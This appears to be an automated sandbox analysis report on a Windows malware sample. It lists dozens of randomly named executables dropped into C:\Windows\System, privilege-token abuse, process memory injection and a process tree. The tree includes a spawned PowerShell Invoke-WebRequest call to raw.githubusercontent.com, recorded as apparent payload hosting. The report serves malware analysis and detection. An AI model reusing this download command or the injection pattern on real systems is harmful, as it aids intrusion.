N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Legitimate hosting services abused for malware hosting/C2

Description	Indicator	Process	Target
N/A	raw.githubusercontent.com	N/A	N/A
N/A	raw.githubusercontent.com	N/A	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File created	C:\Windows\System\NYBesMq.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vunYJGg.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\EhDueJq.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\vVZpTMt.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VdVKCiM.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AyYbPVC.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\VceKdmG.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\lVYmqpW.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\eKVvpPq.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\andZmLI.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\OyDZYby.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AoLLlxl.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JJPWoMT.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\qRsFrRy.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SBGzqYX.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\eMJazdn.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\njvvPFo.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\uPvzzYD.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ANaVlqm.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yieTfSH.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GytZbPz.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\NmZuatv.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\aRASGUc.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ETpumPa.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\JMxSJUd.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ciUYMtS.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\nltwPbZ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\LfUwRJI.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\QXJmhch.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\hosDMTg.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ezyTilw.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\wwFFnhe.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HbdtAQo.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\jMTSdHM.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\xkfFMIq.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ymdtPCx.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\SHiQXgR.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\WyKwsWL.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\RvLStwB.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\BhBsKyK.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\AFLulXu.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\yoRICru.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\jKChCug.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\qZGsMnF.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\WSotRFv.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\jTBhVin.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\fdqjqeG.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\GkpmRED.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\WRBjlvJ.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\fYNoAHt.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\eRsaERq.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\KDAxfui.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HiqAgWI.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\kPvohFL.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\jGRlIuW.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\xmLkxBU.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\PcqgiDR.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\smEHPjM.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\duBKQKl.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\HkYLSsF.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\aAHRNAX.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\KRscUHG.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\ecEdTJg.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
File created	C:\Windows\System\suyWTNS.exe	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
Token: SeLockMemoryPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 4612 wrote to memory of 2628	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4612 wrote to memory of 2628	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4612 wrote to memory of 2872	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\VdVKCiM.exe
PID 4612 wrote to memory of 2872	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\VdVKCiM.exe
PID 4612 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\IgaVQeK.exe
PID 4612 wrote to memory of 3100	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\IgaVQeK.exe
PID 4612 wrote to memory of 4056	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\hLRKbdd.exe
PID 4612 wrote to memory of 4056	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\hLRKbdd.exe
PID 4612 wrote to memory of 5000	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EaoDjQF.exe
PID 4612 wrote to memory of 5000	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EaoDjQF.exe
PID 4612 wrote to memory of 4548	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\PNZLQbJ.exe
PID 4612 wrote to memory of 4548	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\PNZLQbJ.exe
PID 4612 wrote to memory of 5080	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\uGsExMV.exe
PID 4612 wrote to memory of 5080	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\uGsExMV.exe
PID 4612 wrote to memory of 4920	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\TssLdsW.exe
PID 4612 wrote to memory of 4920	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\TssLdsW.exe
PID 4612 wrote to memory of 3124	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\qtQXwqS.exe
PID 4612 wrote to memory of 3124	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\qtQXwqS.exe
PID 4612 wrote to memory of 1836	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\sEgFUUs.exe
PID 4612 wrote to memory of 1836	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\sEgFUUs.exe
PID 4612 wrote to memory of 4576	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DZCDKOa.exe
PID 4612 wrote to memory of 4576	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DZCDKOa.exe
PID 4612 wrote to memory of 5116	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUlNoAc.exe
PID 4612 wrote to memory of 5116	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUlNoAc.exe
PID 4612 wrote to memory of 632	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\LLMujzp.exe
PID 4612 wrote to memory of 632	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\LLMujzp.exe
PID 4612 wrote to memory of 4292	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\KLxSuBL.exe
PID 4612 wrote to memory of 4292	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\KLxSuBL.exe
PID 4612 wrote to memory of 1440	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\SBGzqYX.exe
PID 4612 wrote to memory of 1440	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\SBGzqYX.exe
PID 4612 wrote to memory of 3668	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUmaXpM.exe
PID 4612 wrote to memory of 3668	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\oUmaXpM.exe
PID 4612 wrote to memory of 4084	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\cGOuBvi.exe
PID 4612 wrote to memory of 4084	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\cGOuBvi.exe
PID 4612 wrote to memory of 376	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\GhNdvBw.exe
PID 4612 wrote to memory of 376	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\GhNdvBw.exe
PID 4612 wrote to memory of 116	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eQZXhYa.exe
PID 4612 wrote to memory of 116	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eQZXhYa.exe
PID 4612 wrote to memory of 4616	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eyBHHxC.exe
PID 4612 wrote to memory of 4616	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\eyBHHxC.exe
PID 4612 wrote to memory of 1524	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DpMOVww.exe
PID 4612 wrote to memory of 1524	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\DpMOVww.exe
PID 4612 wrote to memory of 2944	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\BGPoBgA.exe
PID 4612 wrote to memory of 2944	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\BGPoBgA.exe
PID 4612 wrote to memory of 4212	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\XiWcEzm.exe
PID 4612 wrote to memory of 4212	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\XiWcEzm.exe
PID 4612 wrote to memory of 5028	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\nKWLWdQ.exe
PID 4612 wrote to memory of 5028	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\nKWLWdQ.exe
PID 4612 wrote to memory of 4724	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\YWaCAgW.exe
PID 4612 wrote to memory of 4724	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\YWaCAgW.exe
PID 4612 wrote to memory of 1816	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\raEShGs.exe
PID 4612 wrote to memory of 1816	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\raEShGs.exe
PID 4612 wrote to memory of 4208	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\NgBVWZb.exe
PID 4612 wrote to memory of 4208	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\NgBVWZb.exe
PID 4612 wrote to memory of 4856	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\AhUvjVT.exe
PID 4612 wrote to memory of 4856	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\AhUvjVT.exe
PID 4612 wrote to memory of 4028	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\tcTuzUP.exe
PID 4612 wrote to memory of 4028	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\tcTuzUP.exe
PID 4612 wrote to memory of 684	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\vkmWHmN.exe
PID 4612 wrote to memory of 684	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\vkmWHmN.exe
PID 4612 wrote to memory of 4912	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\QFoiEsJ.exe
PID 4612 wrote to memory of 4912	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\QFoiEsJ.exe
PID 4612 wrote to memory of 2992	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EzoaPUW.exe
PID 4612 wrote to memory of 2992	N/A	C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe	C:\Windows\System\EzoaPUW.exe

Processes

C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\809fb9cf8176be5cb8f7decc0ca929e0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\VdVKCiM.exe

C:\Windows\System\VdVKCiM.exe

C:\Windows\System\IgaVQeK.exe

C:\Windows\System\IgaVQeK.exe

C:\Windows\System\hLRKbdd.exe

C:\Windows\System\hLRKbdd.exe

C:\Windows\System\EaoDjQF.exe

C:\Windows\System\EaoDjQF.exe

C:\Windows\System\PNZLQbJ.exe

C:\Windows\System\PNZLQbJ.exe

C:\Windows\System\uGsExMV.exe

C:\Windows\System\uGsExMV.exe

C:\Windows\System\TssLdsW.exe

C:\Windows\System\TssLdsW.exe

C:\Windows\System\qtQXwqS.exe

C:\Windows\System\qtQXwqS.exe

C:\Windows\System\sEgFUUs.exe

C:\Windows\System\sEgFUUs.exe

C:\Windows\System\DZCDKOa.exe

C:\Windows\System\DZCDKOa.exe

C:\Windows\System\oUlNoAc.exe

C:\Windows\System\oUlNoAc.exe

C:\Windows\System\LLMujzp.exe

C:\Windows\System\LLMujzp.exe

C:\Windows\System\KLxSuBL.exe

C:\Windows\System\KLxSuBL.exe

C:\Windows\System\SBGzqYX.exe

C:\Windows\System\SBGzqYX.exe

C:\Windows\System\oUmaXpM.exe

C:\Windows\System\oUmaXpM.exe

C:\Windows\System\cGOuBvi.exe

C:\Windows\System\cGOuBvi.exe

C:\Windows\System\GhNdvBw.exe

C:\Windows\System\GhNdvBw.exe

C:\Windows\System\eQZXhYa.exe

C:\Windows\System\eQZXhYa.exe

C:\Windows\System\eyBHHxC.exe

C:\Windows\System\eyBHHxC.exe

C:\Windows\System\DpMOVww.exe

C:\Windows\System\DpMOVww.exe

C:\Windows\System\BGPoBgA.exe

C:\Windows\System\BGPoBgA.exe

C:\Windows\System\XiWcEzm.exe

C:\Windows\System\XiWcEzm.exe

C:\Windows\System\nKWLWdQ.exe

C:\Windows\System\nKWLWdQ.exe

C:\Windows\System\YWaCAgW.exe

C:\Windows\System\YWaCAgW.exe

C:\Windows\System\raEShGs.exe

C:\Windows\System\raEShGs.exe

C:\Windows\System\NgBVWZb.exe

C:\Windows\System\NgBVWZb.exe

C:\Windows\System\AhUvjVT.exe

C:\Windows\System\AhUvjVT.exe

C:\Windows\System\tcTuzUP.exe

C:\Windows\System\tcTuzUP.exe

C:\Windows\System\vkmWHmN.exe

C:\Windows\System\vkmWHmN.exe

C:\Windows\System\QFoiEsJ.exe

C:\Windows\System\QFoiEsJ.exe

C:\Windows\System\EzoaPUW.exe

C:\Windows\System\EzoaPUW.exe

C:\Windows\System\hlzBIox.exe

C:\Windows\System\hlzBIox.exe

C:\Windows\System\iqnwIWw.exe

C:\Windows\System\iqnwIWw.exe

C:\Windows\System\oEttjxJ.exe

C:\Windows\System\oEttjxJ.exe

C:\Windows\System\QtdIryt.exe

C:\Windows\System\QtdIryt.exe

C:\Windows\System\EQXgQDw.exe

C:\Windows\System\EQXgQDw.exe

C:\Windows\System\vMmISHL.exe

C:\Windows\System\vMmISHL.exe

C:\Windows\System\RasLXnH.exe

C:\Windows\System\RasLXnH.exe

C:\Windows\System\TzCHOaK.exe

C:\Windows\System\TzCHOaK.exe

C:\Windows\System\pgPSexm.exe

C:\Windows\System\pgPSexm.exe

C:\Windows\System\JociUts.exe

C:\Windows\System\JociUts.exe

C:\Windows\System\dfMKJir.exe

C:\Windows\System\dfMKJir.exe

C:\Windows\System\YQxPbSL.exe

C:\Windows\System\YQxPbSL.exe

C:\Windows\System\koJPZnv.exe

C:\Windows\System\koJPZnv.exe

C:\Windows\System\BQkjKbL.exe

C:\Windows\System\BQkjKbL.exe

C:\Windows\System\SZvvhRA.exe

C:\Windows\System\SZvvhRA.exe

C:\Windows\System\nZHDYDh.exe

C:\Windows\System\nZHDYDh.exe

C:\Windows\System\prHmMlL.exe

C:\Windows\System\prHmMlL.exe

C:\Windows\System\kWqMvya.exe

C:\Windows\System\kWqMvya.exe

C:\Windows\System\oFXjXHr.exe

C:\Windows\System\oFXjXHr.exe

C:\Windows\System\JJAKzzY.exe

C:\Windows\System\JJAKzzY.exe

C:\Windows\System\akPZugz.exe

C:\Windows\System\akPZugz.exe

C:\Windows\System\vceuGJX.exe

C:\Windows\System\vceuGJX.exe

C:\Windows\System\QelhxCn.exe

C:\Windows\System\QelhxCn.exe

C:\Windows\System\pnkPhnO.exe

C:\Windows\System\pnkPhnO.exe

C:\Windows\System\dhAdmoN.exe

C:\Windows\System\dhAdmoN.exe

C:\Windows\System\kjxtSpg.exe

C:\Windows\System\kjxtSpg.exe

C:\Windows\System\MzRwjCx.exe

C:\Windows\System\MzRwjCx.exe

C:\Windows\System\BaFdoNS.exe

C:\Windows\System\BaFdoNS.exe

C:\Windows\System\dCCRntD.exe

C:\Windows\System\dCCRntD.exe

C:\Windows\System\BbsrXkn.exe

C:\Windows\System\BbsrXkn.exe

